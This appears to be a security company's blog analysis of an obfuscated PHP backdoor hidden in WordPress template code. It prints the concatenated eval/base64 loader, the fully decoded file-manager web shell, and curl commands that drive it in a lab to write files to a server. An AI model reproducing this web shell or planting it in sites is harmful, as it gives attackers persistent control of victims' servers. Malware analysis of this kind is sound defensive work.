It is no longer the day of human-readable injections, or even the use of basic encoding schemes like base64. Instead we’re seeing a rise in complex, and in some instances, elusive encoding schemes that carry with them a big punch.
There are varying degrees of malware injections that include some of the following traits:
- Encoding (pretty basic)
- Encryption & Encoding (a bit more exciting and challenging)
- Concatenation & Encryption & Encoding ( gets our hearts pumping a bit faster)
- Cameleon integration (flows with existing code and difficult to detect)
In this post we’ll look at an instance where the malware leverages a combination of encoding, concatenation and cameleon traits to impact the end-user.
**Note: This is only a snippet of the payload. The full payload can be found here.
/* <em>Your comment is awaiting moderation.</em> */
/* <h2><a href=” the_permalink() ” rel=”bookmark” title=”Permanent Link to the_title(); “> the_title(); </a></h2> */
/* for <strong>’ echo wp_specialchars($s); ‘</strong>. If you are unable to find anything in these search results, you can try one of these links.</p> */
/* <p><input type=”text” name=”email” id=”email” value=” echo $comment_author_email; ” size=”22″ tabindex=”2″ /> */
/* $Vs7A=’……………………….’.’……………….7QBn02JeuS4…W…GUx6m’.’X/3zflZKrcy’.’CN85bVvkDH……hgMdRFLs’;
# </div>
/* <div> next_posts_link(‘« Previous Entries’) </div> */
/* */
$Vs7A.=’t9IT=YEA.p1ojawOPi…..’;
# Template Name: Archives
# <h2>Search Results</h2>
// Do not delete these lines
/* endif; // If registration required and not logged in */
$ngU663=’kAVPOEjPF’.’H5KOAjPdA’.’K7LPbwMlhb0ZRKdfj3v=
sKF4CrU=K3MY’.’prxP1pv=TrFHRKdQb2U=f9F4V9L=RsdAKWUK’;
// while (have_posts()) : the_post();
/* </li> */
// <p><input name=”submit” type=”submit” id=”submit” tabindex=”5″ value=”Submit Comment” //
// </div>
/* */
$ngU663.=’j3v=sK5PwwMlhb5AfudAKWUzpjkQO2xP1′.’rLzarO
HRKdQbXFs1yBseU54i’.’tOu0sRZRE5s3rM81/kZ1Pv=T’;
# </div>
$ngU663.=’3MQkPguczMlhbLFardQbwMlhbJ81KUZRK’.’v=ntv
FRILF0t5f’.’j0lsRB=P’.’dQe3rDRACuVQddM8Xb6PpXn=R3v=j7kY3b54dKdQO/’;
# <p>You are currently browsing the <a href=” echo get_settings(‘siteurl’); “> echo bloginfo(‘name’); </a> weblog archives
/* endif; */
In this instance, the attacker retained all the good code but disabled it with the use of commenting tags – i.e., using “/* */”
When you move past all the “noise” this is what you see:
— Beginning of Malicious File —
$Vs7A=’……………………….’.’……………….7QBn02JeuS4…W…GUx6m’.’X/3zflZKrcy’.’CN85bVvkDH……hgMdRFLs’;
$Vs7A.=’t9IT=YEA.p1ojawOPi…..’;$ngU663=’kAVPOEjPF’.’H5KOAjPdA’.’K7LPbwMlhb0ZRKdfj3v=sKF4CrU=K3MY’.’prxP1
pv=TrFHRKdQb2U=f9F4V9L=RsdAKWUK’;
$ngU663.=’j3v=sK5PwwMlhb5AfudAKWUzpjkQO2xP1′.’rLzarOHRKdQbXFs1yBseU54i’.’tOu0sRZRE5s3rM81/kZ1Pv=T’;
$ngU663.=’3MQkPguczMlhbLFardQbwMlhbJ81KUZRK’.’v=ntvFRILF0t5f’.’j0lsRB=P’.’dQe3rDRACuVQddM8Xb6PpXn=R3v=j7kY3b54dKdQO/’;
$ngU663.=’kQewnFetkY3b5fj0lsRB=PdQe3rDRACuVQddxP1jk’.’AVhO4VrLzarOHRKdQb‘.’XFs’.’1yBseU54dNU4VkcV5T5s3rM81/’;
$ngU663.=’kQeanHerU49by8p2OZV35Ihb5Z1adAbby8pXFs1yB’.’seU54dNU4VkcV5T5s3/kAKEMAKIO4V3MQ’.’eJBojlVfh2dA’;
$ngU663.=’V9dQddM8pE5zpaL=swdZXt5fj0lsRB=Pd3LF’.’a35s3rM8pXdAV9dQpjkQeJBojlVfh2dAV9dQddx’;
$ngU663.=’P1KUZRKkZhbOZ5rU20tkXVPOEjPJZeK6Z0b’.’U=KIO4K7LPkrxP1K6AK3MYprxP1jkZ3bL=CIL’.’=KEMAKIO4V3MQeJBojlVfh2′;
$ngU663.=’0BV56lRNnKc2F8′.’XrkZhb5AfudA’.’KWUzpjkQdrUELW5′.’Ihb5Z1a’.’dAb’.’by8pXFs1yBseU53ff8FXIv45l5s3/’;
$ngU663.=’kZ3bL=CIL=KEMAKIO4′.’V3MQeJ’.’BojlV’.’fh2duX96Fk4dAn2F8XrkZh’.’b5Afud’.’AKWUzpjkQdiv4erOzO/kQewnFetkY3b5′;
$ngU663.=’fj0lsRB=Pd4′.’xlaTO’.’uL3LzddxP1jkAVhO4VrLzarOHRKdQbXFs1yB’.’seU545iRlX9RHX’.’9LzddM8Xb6PpXn=R3v=j7kY3b54sWLAKE5′;
$ngU663.=’Ihb5Z1adAbby8pXFs1yBs’.’eU545iRlX9RHX9′.’LzddxPpXLAf3L8′.’pjkQarOHRKdQbXFs1yBseU54eadAB2F8Xb5z’.’nb’;
$ngU663.=’k=ViOZeTMQeJBojl’.’Vfh2LAf3L8ddM8XbyPpXFs1yBseU54eadAB2′.’F8pDkQO2xPp’.’XU=jXL8pjkQarOHRKdQbXFs1yBseU5H1KOE’;
$ngU663.=’32F8Xb5znbk=ViOZeT’.’MQeJBojlVfh2OAVPU8ddM8XbyPpXFs1yBseU54s’.’WLAB2F8pD’.’kQO’.’2xP1′.’rLzbXLAf3L8pjyl3b5POb5′;
$ngU663.=’znb5AsWLABbyl3jkQO2M81/kZ1Pv=’.’T3MQ5fO25WO2CXnFeKkAf7LQ1wLF5ikAsrOHRr’.’UEOzMlhbLFard’;
$ngU663.=’QbwMlhbJ81jkAVhO4Bb6P1wOEK7dQbzeF5PUH5′.’SUESbOAfPn=sIkzX/kA’.‘V9vF0tcQX/kZ3′.’bv=ntL=swdZXt5Z1adAbrM8′;
$ngU663.=’1/kZ1Pv=T3MQ5′.’fO’.’25WO2CwnFetkAsrOHRrUEOzMlhbLFardQbwM’.’lhbJ81rLzaIdZ5wUHct5Z1′.’adAbhkQOW5′.’PXbk’;
$ngU663.=’l3jkYprkQewnFetkY3bL4V3nHdXMQX75PS2gze’.’wn’.’FetxP1Id4K3′.’n4′.’bt5AfudAKWUzXb6P1unFRKkQdrUE’;
$ngU663.=’LW5Itbv=ntk=LrUAVJL’.’FarOHeIMQew’.’nFetM’.’8Xb6P1wOEK7dQ’.’bzeF5PUH5SOAf3vQp25Z1adAb2kAK’.’IkATWdQ1K6AKIdZczMlhb’;
$ngU663.=’n25Kn=h/kZ3b5Anby8p2OHe’.’adQO/kAKEM’.’QeEOHeadfjaO2kby81′.’p5Ant5Z1adAbrM8′.’1w’.’OEK7dQp2l3iS5P9XL2R3nF’;
$ngU663.=’eJnF5P=Iddg2Rw’.’OEK7d’.’Antk2wKUPkhMQeEOHeadfjaO25UcK3b’.’5zpwRIOHM8X75Hw2gzeEO’.’HeadfjaO25UxV’;
$ngU663.=’3/kAVhO4BbOZ5rU20bkXVPOE’.’jPJAfun4VIOP1XL=TrL=0bdA’.’SbOAf3vQp25Z1adAb2kuhbn25Kn=h/kARaO’;
$ngU663.=’4Bb54dKdQODkAKEMQfEv=CKF4V9′.’vFR3OPbXOAf3vQXrkZhbOZ5rU20tkXVPOEjPJQOXO’.’Af3vQObvFcbUEj3kALWd=TXkzX/kA5′;
$ngU663.=’PL=fNxP1jkAKEM’.’Qf’.’rOsjEv=CKMQewnFetM8Xb6P1wOEK7dQbzeF5P’.’UH5S5PewnFet5P1rOP17UH0bLEKhL8krx’;
$ngU663.=’P1zOEVavIhbJ81rLzbavFRJOEVaLAfzU’.’ABt’.’5Z1adAbrM81/kZ1Pv=T3MQ5fO25′.’WO2w25Z1a’.’dAb2k’;
$ngU663.=’AKIkATWdQ1PL=fXn=5hL8krxP1z’.’OEVavIhbJ8pXLzpjkQdEv=CK5P92FPO754dK’.’dQO’.’75sS2gzduU4T3L=T3OPO/kAKEMoL1lfRfkY3jy’;
$ngU663.=’8pt5ZeK6Z0by8pXLzbXOAf3vQXrM81/kZ1P’.’v=T3MQ5fO25WO2Cun=9′.’2dQ1PL=fXkALrUABb5PewnFet5PkrxP1jkAVh’;
$ngU663.=’O4Bb6P1wOEK7dQb2l3iS5PX/’.’kQeEkY3b545aO4B2gzO4RQO75sS2gzdKUERW’.’LAB2xP1wOEK7dQbXLzbXdAV9dQXrxP1jk’;
$ngU663.=’A5PL=fNxP1unFRKkQdwdF02xz1unFRKkQd’.’iv4erOzODkAR’.’aO4Bb54sWLAK’.’E5Itb5Z1adAbby81PdZ5r’.’U8bXOAf3vQwb5PS2Ml’;
$ngU663.=’hb5ZVwLAKPkY3bM’.’QeXvF57n=sKFH1WOPpjkZR3O25wUHct5Z’.’1adAbhkQOW5PXrk’.’Y9bcQpGkZRsn2R3OzbXOAf3vQwbcQwb5Ae’;
You can pull the rest of the strings from the full payload here.
$QIBi4n=’ba’.’se6′.’4_de’.’cod’.’e’; # base64_decode()
$fu2hV=’or’.’d’; # ord()
$cO1ZVOV=’cou’.’nt’; # count()
$JioRdQa=’preg’.’_sp’.’lit’; # preg_split()
$br1l4=’im’.’pl’.’od’.’e’; # implode()
$EblYfhO=$JioRdQa(‘//’, $Vs7A,-1,1); # preg_split(‘//’, $Vs7A,-1,1)
$l8ZxVd=$JioRdQa(‘//’, $ngU663,-1,1); # preg_split(‘//’, $ngU663,-1,1)$Wn6l=$cO1ZVOV($l8ZxVd); # count($l8ZxVd)
for ($i = 0; $i < $Wn6l; $i ++) {
$l8ZxVd[$i] = $EblYfhO[$fu2hV($l8ZxVd[$i])]; # $l8ZxVd[$i] = $EblYfhO[ord($l8ZxVd[$i])];
}eval($QIBi4n($br1l4(”, $l8ZxVd))); # eval(base64_decode(implode(”, $l8ZxVd)));
WHAT THE HECK?
If you find yourself thinking this, you’re not alone – we all are. We have to remove all the noise and make it ready to be converted into a human-readable format first.
If you’re thinking that the best step is to replace eval() with echo() then you’re on the right track.
UNDERSTANDING THE DECODING PROCESS
If you’re thinking, Wow, that’s cool, but how did you do that, don’t fret, we’ll explain.
The first question is probably why use echo() in the place of eval(). Let’s look at that…
First, we see this string:
eval($QIBi4n($br1l4(”, $l8ZxVd))); # eval(base64_decode(implode(”, $l8ZxVd)));
This tells us that we’re trying to evaluate a specific expression, but what exactly? We break it down to better understand:
$QIBi4n = base64_decode function => $QIBi4n =’ba’.’se6′.’4_de’.’cod’.’e’;
$br1l4 = implode();
How do we know this? Take a look at the last piece of the code snippet:
# eval(base64_decode(implode(”, $l8ZxVd)));
So what about everything else in the file?
Second, we turn our attention to the content of the file (everything above the snippet above). If you feel your heart skip a beat, don’t, just understand that it has been concatenated. We know this because of the use of this: $ngU663. In short, it’s intelligently breaking the encoding so that it can bypass detection… sneaky sneaky
So wait, how about the echo?
Well, we know that “eval” evaluates and we know that “echo” displays results. Knowing that, then it quickly becomes apparent, lets just see what’s being evaluated..:) When you do that, it happily outputs what we see above.
Still having trouble understanding what echo does? Look at this example:
$string = ‘abc’ . ‘def’;
$string .= ‘gh’;
echo $string -> the result is going to be abcdefgh
THE RESULTS
When you follow the process above this is what you get:
error_reporting(0);
@set_time_limit(0);
@ini_set(‘max_execution_time’,0);$action = ”;
if (isset($_POST[‘khr454sf’])) {
print(“2.3”);
exit(0);
} elseif (isset($_POST[‘BGJz4lcT’])) {
$action = ‘get’;
$path = $_POST[‘BGJz4lcT’];
} elseif (isset($_POST[‘gkoeH1Ry’])) {
$action = ‘put’;
$path = $_POST[‘gkoeH1Ry’];if (isset($_POST[‘text’]) && !empty($_POST[‘text’]))
$text = $_POST[‘text’];
else {
print(“Error|text missing”);
exit(0);
}
} elseif (isset($_POST[‘AEIy3kbS’])) {
$action = ‘info’;
$path = $_POST[‘AEIy3kbS’];
} elseif (isset($_POST[‘v98yr6tf’])) {
$action = ‘mkdir’;
$path = $_POST[‘v98yr6tf’];
} elseif (isset($_POST[‘bm5987y8f’])) {
$action = ‘modif’;
$path = $_POST[‘bm5987y8f’];$date = (isset($_POST[‘date’]) && !empty($_POST[‘date’])) ? $_POST[‘date’] : ”;
$mode = (isset($_POST[‘perm’]) && !empty($_POST[‘perm’])) ? $_POST[‘mode’] : ”;if ($date === ” && $mode === ”) {
print(“Error|date and perm missing”);
exit(0);
}
} else {
print(“Error|no params”);
exit(0);
} if (empty($path)) {
print(“Error|path missing”);
exit(0);
} if (strpos($path, ‘/’) !== 0)
$path = getcwd().’/’.$path;switch ($action) {
case ‘info’:
if (!file_exists($path)) {
print(“Error|path ‘$path’ is not exists”);
break;
}
$f = ‘stat’;if ($fstat_arr = @$f($path))
print ‘OK|’.$fstat_arr[7].sprintf(“|%o”,($fstat_arr[2] & 0777)).’|’.$fstat_arr[9];
else
print “Error|access denied to path ‘$path'”;
break;case ‘get’:
if (!file_exists($path)) {
print(“Error|’$path’ is not found”);
break;
}
if (!is_file($path)) {
print(“Error|’$path’ is not file”);
break;
}
if (!is_readable($path)) {
print(“Error|’$path’ is not readable”);
break;
}
$f = ‘file’.’_’.’get’.’_’.’contents’;if (FALSE === ($text = $f($path))) {
print(“Error|can’t read file ‘$path'”);
} else {
print(‘OK|’);
$f = ‘base’.’64’.’_’.’encode’;
print($f($text));
}
break;case ‘put’:
case ‘mkdir’:
case ‘modif’:
$path = rtrim($path, ‘/’);
$updir = ($dirname_pos = strrpos($path, ‘/’)) > 0 ? substr($path, 0, $dirname_pos) : ‘/’;if (!is_writable($updir)) {
print(“Error|updir is not writable”);
break;
}
$result = ”;
$status = ‘OK’;if ($action === ‘mkdir’) {
$f = ‘mk’.’dir’;
if (is_dir($path)) {
$result .= ” dir ‘$path’ exists”;
$status = ‘Warning’;
} elseif (!@$f($path)) {
print(“Error|can’t make dir ‘$path'”);
break;
}
} elseif ($action === ‘put’) {
$is_bloc = isset($_POST[‘bloc’]);
$bloc = $is_bloc? $_POST[‘bloc’] : ”;
$fm = ‘a’;
$f = ‘unl’.’ink’;if ((!$is_bloc || $bloc === ‘bgn’) && is_file($path) && ! @$f($path))
$fm = ‘w’;
$f = ‘fop’.’en’;if (($out_fh = @$f($path, $fm)) === false) {
print(“Error|can’t open file ‘$path'”);
break;
}
$f = ‘fwr’.’ite’;
$ff = ‘base’.’64’.’_de’.’code’;
$result = @$f($out_fh, $ff($text));
$f = ‘fcl’.’ose’;
$f($out_fh);if ($result === FALSE) {
print(“Error|can’t write text to file ‘$path'”);
break;
}
}if ($action !== ‘put’ || !$is_bloc || $bloc === ‘end’) {
if (isset($_POST[‘perm’]) && !empty($_POST[‘perm’])) {
$f = ‘chm’.’od’;
if (!@$f($path, $_POST[‘perm’])) {
$result .= “|can’t set path ‘$path’ perm to ‘”.$_POST[‘perm’].”‘”;
$status = ‘Warning’;
}
}
if (isset($_POST[‘date’]) || !empty($_POST[‘date’])) {
$f = ‘to’.’uch’;
if (!@$f($path, $_POST[‘date’])) {
$result .= “|can’t set file ‘$path’ date to ‘”.$_POST[‘date’].”‘”;
$status = ‘Warning’;
}
}
}
print ($action === ‘modif’ && $status === ‘Warning’? ‘Error’ : $status).’|’.$result;
break;default: print(“Error|unknown op”);
}
?>
DISSECTING & LEVERAGING THE RESULTS
As you can see the code still uses some techniques to bypass & avoid detection:
-> $f = ‘fwr’.’ite’;
-> $ff = ‘base’.’64’.’_de’.’code’;
-> $f = ‘file’.’_’.’get’.’_’.’contents’;
-> and others
Here is a little demonstration of how this can be used by the attackers to cause havoc on your server:
Let’s say our HTTP user (www-data:www-data) has permissions to the following directories:
~/sandbox$ ls -la /var/www/
total 24
drwxr-xr-x 4 root root 4096 2012-03-29 10:58 .
drwxr-xr-x 16 root root 4096 2011-06-08 06:16 ..
drwxr-xr-x 2 www-data www-data 4096 2012-03-29 11:21 sucuri~/sandbox$ ls -la /var/www/sucuri
total 16
drwxr-xr-x 2 www-data www-data 4096 2012-03-29 11:21 .
drwxr-xr-x 5 root root 4096 2012-03-29 11:21 ..
-rw-r–r– 1 root root 5809 2012-03-29 11:15 malware.php
Checking Version of the malware ?!
~/sandbox$ curl -s http://10.1.1.104/sucuri/malware.php -d “khr454sf=info”
2.3
Checking if directory exists (status | file size | permissions | epoch time)
~/sandbox$ curl -s http://10.1.1.104/sucuri/malware.php -d “AEIy3kbS=/var/www/sucuri”
OK|4096|755|1333045307
Getting file information (status | file size | permissions | epoch time)
~/sandbox$ curl -s http://10.1.1.104/sucuri/malware.php -d “AEIy3kbS=malware.php”
OK|5809|644|1333044903
Writing files to disk (Very dangerous [base64])
~/sandbox$ curl -s http://10.1.1.104/sucuri/malware.php -d “gkoeH1Ry=phpinfo.php&text=PD9waHAgcGhwaW5mbygpOyA/Pg==”
OK|19
What did it do? Lets take a look:
~/sandbox$ ls -la /var/www/sucuri
total 20
drwxr-xr-x 2 www-data www-data 4096 2012-03-29 11:28 .
drwxr-xr-x 5 root root 4096 2012-03-29 11:21 ..
-rw-r–r– 1 root root 5809 2012-03-29 11:15 malware.php
-rw-r–r– 1 www-data www-data 19 2012-03-29 11:28 phpinfo.php~/sandbox$ cat /var/www/sucuri/phpinfo.php
<?php phpinfo(); ?>
EEK.. What is all this?
Ok, taking a step back, we replicated the attack vector by writing a file to disk with the following content:
‘PD9waHAgcGhwaW5mbygpOyA/Pg==’,
This in turn is <?php phpinfo(); ?> in base64. Using this method simulates what attackers can leverage to embed their backdoors and retain full server control as long as the malicious file resides on the server.
PULLING IT ALL TOGETHER
Apologies if your head hurts, it happens some times. This example brought up a number of good points. The key one to focus on is the sophistication involved in the encoding process of cameleon integration which is used to embed bad code with good.
A cursory scan of file names just isn’t cutting it anymore, you have to get down and dirty by opening the files and verifying the code. Don’t stop at the core installs, look at your themes, plugins, extensions, etc… all it takes is one injection for the attackers to take full control of your server.
It can be overwhelming, but that’s why we offer Sucuri SiteCheck to everyone for free. Use it! Perform these important scans and protect yourself. Become proactive in the fight against malware.
2 comments
Congrats Rodrigo, great Job.
Comments are closed.